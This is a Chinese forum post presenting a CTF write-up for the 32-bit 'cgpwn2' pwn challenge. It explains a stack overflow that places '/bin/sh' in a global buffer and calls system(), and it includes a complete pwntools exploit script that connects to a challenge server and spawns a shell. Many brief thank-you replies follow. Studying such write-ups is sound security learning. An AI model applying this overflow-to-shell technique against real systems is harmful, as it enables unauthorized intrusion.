系味 发表于 2025-10-19 21:45:00

PWN手的成长之路-20-cgpwn2


file,checksec:

main 函数:

hello 函数:

name 中可以保存字符串,因此我们在 name 中输入 /bin/sh,那么我们就可以利用变量 name 的内存地址,得到 system('/bin/sh'),从而得到shell。
pwn 函数(存在system):

溢出大小为:0x26+4

我本来在ROPgadget中找到了 sh 字符串,但是一直无法成功得到shell,之后查看才得知,这个sh并不是单纯的 sh。草率了。但是不知道为什么 ciscn_2019_ne_5 可以跑通。求师傅指教。



payload加入main函数,原因:32位和64位的结构不同,32位调用一个函数需要返回地址,之后再调用其他的进行传参,而且32位是用栈传递参数的,而64为使用比如rdi,rsi等寄存器进行传参,因此需要插入一个 main 函数作为返回地址。
利用exp:
from pwn import *

#start
r = remote('61.147.171.35',63069)
context.log_level = 'debug'
elf = ELF('./pwn')

#params
#system_addr = 0x8048420
system_addr = elf.sym['system']
main_addr = elf.sym['main']
name_addr = elf.sym['name']

#attack
payload = b'a'*(0x26+4) + p32(system_addr) + p32(main_addr) + p32(name_addr)
r.sendlineafter(b'name',b'/bin/sh')
r.sendline(payload)
r.interactive()
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

颖顿庐 发表于 2025-10-21 00:49:51

鼓励转贴优秀软件安全工具和文档!

别萧玉 发表于 2025-11-4 06:29:59

感谢分享

材部 发表于 2025-12-3 17:03:10

很好很强大我过来先占个楼 待编辑

慕疼 发表于 2025-12-28 05:37:10

这个好,看起来很实用

孟茹云 发表于 2026-1-1 00:20:48

鼓励转贴优秀软件安全工具和文档!

司寇涵涵 发表于 2026-1-8 21:39:18

喜欢鼓捣这些软件,现在用得少,谢谢分享!

诸婉丽 发表于 2026-1-16 15:13:48

谢谢分享,辛苦了

骆贵 发表于 2026-1-18 01:04:29

谢谢分享,辛苦了

浅皮懔 发表于 2026-1-18 05:39:26

很好很强大我过来先占个楼 待编辑

姘轻拎 发表于 2026-1-18 12:35:57

前排留名,哈哈哈

袂沐 发表于 2026-1-21 09:04:35

分享、互助 让互联网精神温暖你我

慕疼 发表于 2026-1-24 13:15:51

感谢分享,学习下。

端木茵茵 发表于 2026-1-27 01:56:01

用心讨论,共获提升!

喳谍 发表于 2026-1-30 05:08:39

很好很强大我过来先占个楼 待编辑

褥师此 发表于 2026-2-1 05:26:36

yyds。多谢分享

岳娅纯 发表于 2026-2-3 06:57:20

热心回复!

腥狩频 发表于 2026-2-5 04:22:13

谢谢楼主提供!

僚娥 发表于 2026-2-7 21:07:24

不错,里面软件多更新就更好了

揭荸 发表于 2026-2-7 23:00:34

鼓励转贴优秀软件安全工具和文档!
页: [1] 2
查看完整版本: PWN手的成长之路-20-cgpwn2